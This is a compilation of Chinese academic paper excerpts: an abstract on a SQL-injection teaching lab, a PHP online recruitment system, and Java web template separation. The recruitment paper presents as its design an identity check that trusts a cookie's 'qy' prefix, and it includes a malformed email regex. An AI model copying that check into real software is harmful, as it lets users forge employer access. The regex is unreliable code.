摘要：为了在高职院校的《网络安全与防范》课程中取得较好的教学效果, 必须搭建大量的实验环境供学生演练。本文总结了开展ASP+SQL Server 2000环境下利用SQL注入攻击登录网站后台的实验环境的搭建及使用研究。

关键词：SQL注入攻击,网络安全,实验环境

参考文献

[1]肖遥.大中型网络入侵要案直击与防御[M].北京:电子工业出版社, 2011.

[2]朱锡华, 刘月铧, 侯伟.暗战亮剑——黑客渗透与防御全程实录[M].北京:人民邮电出版社, 2010.

网上招聘及后台管理系统的开发 篇8

当前国内大多数企事业单位招聘人员都是通过各人才招聘网提供的招聘系统来进行的,如很多单位都在使用智联招聘系统或中华英才招聘系统,然而这些系统普遍存在功能单一、提供服务有限、不能满足各种复杂的招聘要求的缺陷。比如缺乏招聘单位和求职者在系统中实时交流的功能,更没有个人邮件平台的功能,以及存在数据库安全性不高等问题,也不能支持WAP手机上网实时访问系统,更重要的是缺乏初步筛选应聘者的功能。它们在招聘单位和应聘者之间只充当了中介作用。如果把交流和初试工作通过网络途径来完成,这样就可以节省招聘单位大量的人力和物力。

2 项目特点

在功能上,系统的主要特点是把考试系统,WAP手机和在线招聘系统有机地结合起来,适应招聘单位和应聘者对招聘、应聘工作快捷,方便,及时,准确的新型要求。

其中系统的在线测试基本可以测试应聘者的一些基本素质,看是否符合岗位要求,如测试通过,通过系统邮件平台发送面试通知,这样可以为招聘单位节省大量物力和财力。

同时系统也支持WAP手机访问应聘者个人邮箱功能,支持系统内邮件平台,支持实时交流功能,以及基于角色的后台用户权限管理等。

3 系统设计

系统采用Web流行的B/S三层结构:表示层、业务层、数据层,如图1所示。

4 系统功能

系统分为4个模块:招聘者模块,应聘者模块,后台管理模块和实用工具模块,如图2所示。

5 实现及关键技术

5.1 岗位查询

选择查询条件,连接Zwei(职位)数据表,如果查询到满足条件的记录,显示相关记录,否则输出“无满足条件的记录”。运行结果如图3所示。

5.2 应聘者信箱管理

邮件地址合法性的判断主要是利用了PHP语言强大的“正则表达式”功能,在模块中用到的表达式是regi(‘[0-9az]+@([0-9a-z]+.)+[a-z]{2-3}$’,$POST_[mail],其含义是邮件@符号前的字符可以是0-9十个数字,也可以是a-z二十六个英文字母,字符个数不限,一般可满足要求;其次@符号后的地址同样采用上述二十六个字符,个数不限,但其后的字符必须是“.”点号,结尾是长度二至三个的英文字符。信件内容不能超过二百个字符。

5.3 招聘者简历查询

算法要点:在查询模块的语句中,首先验证用户身份,如果是应聘者则退出查询简历模块,因为在本系统中要求个人简历是供招聘者查看的,应聘者无权查看个人资料。在实际编码过程中将身份验证单独作为一个PHP文件处理,文件名是shenfenyanzheng.php,在以下招聘者使用的各个模块中只要用include语句包含此文件就可起到身份验证的目的。身份验证的设计思路:从cookie字符变量中左取前两个字符,如果等于“qy”企业名称的拼音缩写)判定为招聘者,否则是应聘者。

5.4 应聘者测试模块

考试时间的控制:由于是考试计时就必不可少,再加上是网络的测试,更应提醒应聘者剩余的时间,确保按时交卷。在考试界面中利用一个文本框显示考试剩余时间,每隔一秒钟里面的值变化一次,时间的变化是以客户机上的时间作为参考标准,也就是客户机上每变化一秒,那么文本框的时间就会减少一秒。在javascript中设置时间间隔的函数是setinterval(event,time),其中event是事件,time指时间间隔,一秒钟time的值等于1000。

5.5 普通管理员管理模块

5.6 实用工具模块

(1)系统留言薄:包括发表留言和阅读留言。设计思路:首先用户填写留言姓名,留言标题,留言内容,然后点击留言按钮即可。考虑到可能留言人较多所以仍然将所填写的3项内容作为数据表的字段加以保存,用到的数据库表是liuyan(留言薄)。

(2)人才洽谈室:类似网络聊天的作用,主要用来为招聘者和应聘者实时交流提供技术保障。

设计思路:目前网络聊天室的实现手段主要有:1)借助数据库实现;2)用一定格式的文本文件实现。它们的共同点都是设定服务器的刷新时间,把保存的内容推送到用户的浏览器,其次再辅助添加“表情”,“私聊”等附加功能。鉴于第二种方案简单易行,所以采用这种方案。

实现方法:1)界面设计将页面分为上下两个框架,上面显示内容,下面发送内容;2)考虑到有可能多人同时进入洽谈室,防止数据读写带来的冲突,采用随机数函数的返回值作为临时文件的名称,然后向其写入说话内容,之后再合并到正式的“洽谈”文件中;3)“洽谈”文件的结构包括服务器时间项,交谈方名称(昵称)项,交谈内容(界面的发言)项。4)交谈内容的显示:利用HTML的refresh属性完成页面的实时刷新,在设置刷新时间时一般设置为3秒左右。因为太长页面更新速度慢,太短用户页面有闪烁。如图4所示。

5.7 代码优化

这里所说的代码优化不仅仅是写出干净和清楚的代码,而是对代码进行一定的优化。可以使用ZendOptimizer来做代码优化工作,ZendOptimizer是Zend Technology公司开发的产品,它可以免费下载。该产品通过Zend引擎来产生一些执行效率很高的中间代码。它的缺点是会造成代码的可读性下降。在用了ZendOptimizer后,复杂的PHP源程序执行效率马上会得到显著提高。

安装ZendOptimizer时,先下载跟本机操作系统版本兼容的预编译版本,然后把下面两行加到PHP.ini文件中,重启Apache服务器就可以了。

5.8 系统测试

测试范例A节选自系统登录页面。这个范例主要用于验证系统对多台机器登录有无不响应情况,或响应时间过长现象,看是否满足用户提出的系统数据并发处理能力。测试工具选择Web-CT40,在其上设置机器接入网络的方式,模拟机器的总台数,以及测试页面的IP地址3项参数,然后选择手动测试。测试结果如图5所示。

测试数据显示在每秒39次测试频率的作用下,在10秒钟内无一次失败,成功率100%。

6 结语

实现了一个在线招聘系统,这是一个基于B/S结构、结合在线招聘功能和在线考试功能的系统。

系统开发遵循软件工程的技术规范,综合PHP/Apache MySQL/WAP等技术,利用Web服务器提供企业级在线招聘系统的服务。

系统实现了前台的简历发送、修改、个人邮件系统管理以及招聘单位岗位需求发布,在线考试功能;在后台系统管理中,采用了基于角色的权限管理机制,使后台管理更加实际应用;在系统实用工具中,采用WML语言实现了WAP访问应聘者个人信箱的功能。通过使用,该系统可以给企业节省大量的资源,提高企业在人力资源方面的工作效率和经济效益。

参考文献

[1]Sterling Hughes,等,徐牧,等.PHP经典实例.中国电力出版社.

[2]三味工作室.网站设计超级cool-PHP3/4.人民邮电出版社.

网站后台开发 篇9

1关键技术

在JTemplale类的开发和实现中, 需要利用正则表达式的相关知识内容。这里所说的正则表达式主要是对文本的处理和模式的匹配等。一般来说, “正则表达式”主要是将单独的字符进行串联, 并由其定义一个关于字符的搜索模式, 可以利用普通的字符、字符串以及标点符号等代表字符匹配的次数, 这些符号的加入, 能够使得所有符号进行匹配和搜索, 从根本上实现JTemplale类的开发的开发工作。

在JDK1.4以及之后的模式中, java.util.regex包主要利用Pattern类和Matcher类对正则表达式进行有效操作和处理。其中, Pattern类主要需要对相关的字符串进行指定, 并将其编译为正则表达式, 利用实际例子进行具体说明。之后, 利用得到的模式, 借助一定手段创建一个Marcher对象。在模型中, 我们需要遵循正则表达式的使用原则, 使得创建好的对象能在与其进行成功匹配, 无论何时何地。还需要注意的是, 在所有匹配中, 各类信息均保存在匹配器之中。只有这样, 才能实现信息的共享。

2 JTemplate类的基本思想

在Map接口之中, 包括哈希表和链接列表这两个大类, 并形成了集合与集合之间的映射效果, 主要包括以下四个:第一种是file Name, 该集合主要指模板文件中的映射;第二种是keys, 将变量中的关键字词能够进行计算和分析;第三种是values, 可以将变量中的数值以映射的方式实现;第四种error, 当出现错误信息时, 实现的集合映射。这四种映射之间相互作用, 并借助正则表达式进行合作和协调, 在最终环节, 利用流的方式进行文件的分析和处理。

3 JTemplate类的实现

B/S结构, 是WEB兴起后的一种网络结构模式, WEB浏览器是客户端最主要的应用软件。这种模式统一了客户端, 将系统功能实现的核心部分集中到服务器上, 简化了系统的开发、维护和使用。我们基于对该模式的了解, 并进行了分析和探讨。结果表明, 在网页界面中, 主要由以下三种:普通的用户浏览界面、用户提交参数界面以及查询后台数据库显示给用户的信息列表。在实际应用中, 还可以实现网页的整合使用, 并形成新的网页界面。整个实现流程中, JSP需要对Servlet发来的信息进行接受, 并生成JTemplate类, 最后对文件中的映射数据和信息进行重新设置, 整个实现过程如下:

在整个实现流程中, 可能会存在一种状况, 就是我们对数据的了解处于未知状态, 那么, 我们需要利用Html, 在Jsp的模板文件中, 利用set Block () 的方法, 并进行变量的设置和映射的操作。

4 JTemplate类存在的弊端

虽然JTemplate类从根本上解决了美工和编程工作人员之间存在的不和谐因素, 并提高了相关工作人员的工作效率。然而, 随着技术的更新和发展, 又出现了新的问题, 由于服务器终端在进行解析操作时, 利用Servlet对Html网页进行解析, 时间较长, 严重降低了技术人员的工作效率。此外, 还需要平衡冲突和系统开销二者之间的关系问题, 确保网页设计更加人性化和实用化。

5结语

伴随着科技手段的更新, 互联网的普及, 软件的广泛应用为多个行业提供了技术发展的前提和基础, 极大地压缩了编码人员与美工协调的工作时间, 提高了工作效率。Java语言是一种分布式、解释型的程序语言, Java语言可以提供相关软件应用的类库, 可以通过编译器或解释器实现独立, 成为某个特定的编译代码。Java特有的跨平台性, Java具有跨平台性的特征优势, 从根本上推动着web领域的快速发展。此外, 在Java-Web的开发活动中, 需要充分协调编码工作人员与网页美工存在的问题, 加强二者之间的沟通交流, 在避免不必要损失的同时, 从根本上提高计算机工作人员的工作效率。

摘要：随着互联网的不断普及和发展, 基于Internet的WWW应用模式被广泛应用, 该模式能够实现高效便捷的信息共享, 有利于信息的传播。Java具有跨平台性的特征优势, 从根本上推动着web领域的快速发展。伴随着科技水平的提升, Java开发Web应用时出现一些问题和不足, 最为突出的就是编码工作人员与美工之间无法进行有效统一, 具体表现为美工设计的网页界面无法直接应用, 需要编码工作人员借助其他手段, 使得程序与网页界面进行统一。本文主要基于Java实现基于Web开发过程中后台程序与界面分离的技术, 主要确保程序代码与Html代码之前的影响降到最低, 从而有效协调了程序员和美工之间的工作, 旨在提高工作效率及工作质量和水平。

关键词：Java-Web,后台程序,界面,分离技术

参考文献

[1]耿永利.基于Java的网络管理系统开发与管理[J].漯河职业技术学院学报, 2015 (02) .

[2]吴闻.基于Java的Web开发技术浅析[J].科技广场, 2013 (05) .

[3]任小敏, 钟宝荣.MVC模式在Java程序中的应用及实现[J].信息系统工程, 2011 (11) .